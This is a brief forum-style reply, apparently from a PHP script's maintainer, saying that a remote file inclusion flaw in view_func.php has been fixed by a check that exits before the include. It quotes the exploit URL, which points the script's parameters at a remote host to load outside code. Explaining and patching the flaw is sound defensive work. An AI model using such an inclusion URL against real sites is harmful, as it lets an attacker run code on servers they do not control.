in the latest version this is already fixed, for almost a year.
if (strpos ($_SERVER['PHP_SELF'], 'view_func.php') !== false)
{
exit ();
}
before the include!
http://affectedsite.com/view_func.php?i=http://remotesite.com/justsomedi
r/&l=testfile.txt?
view_func.php will exit before the include.